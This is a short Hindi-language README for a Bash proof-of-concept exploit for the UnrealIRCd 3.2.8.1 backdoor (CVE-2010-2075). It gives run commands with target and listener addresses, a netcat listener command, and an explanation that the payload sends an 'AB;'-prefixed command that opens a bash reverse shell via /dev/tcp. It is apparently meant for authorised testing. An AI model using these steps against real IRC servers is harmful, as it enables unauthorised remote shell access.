CVE-2010-2075 - UnrealIRCd 3.2.8.1 बैकडोर (Bash PoC)

विवरण

UnrealIRCd 3.2.8.1 स्रोत टारबॉल में शामिल बैकडोर के लिए Bash PoC। समझौता किया गया बाइनरी IRC पोर्ट पर भेजे गए AB; उपसर्ग वाले मनमाने कमांड को निष्पादित करता है।

उपयोग

chmod +x exploit.sh
./exploit.sh <RHOST> <RPORT> <LHOST> <LPORT>

उदाहरण:

./exploit.sh 192.168.1.10 6667 192.168.1.20 4444

चलाने से पहले एक लिसनर सेट करें:

nc -lvnp 4444

यह कैसे काम करता है

बैकडोर आने वाले डेटा में AB; उपसर्ग की जाँच करता है और बाकी को सिस्टम शेल को भेजता है। पेलोड /dev/tcp के माध्यम से एक bash रिवर्स शेल भेजता है।

प्रभावित संस्करण

• UnrealIRCd 3.2.8.1 (ट्रोजनाइज़्ड टारबॉल, नवंबर 2009 - जून 2010)

संदर्भ

• https://nvd.nist.gov/vuln/detail/CVE-2010-2075
• https://www.unrealircd.org/txt/unrealsecadvisory.20100612.txt

अस्वीकरण

केवल शैक्षिक और अधिकृत परीक्षण के लिए।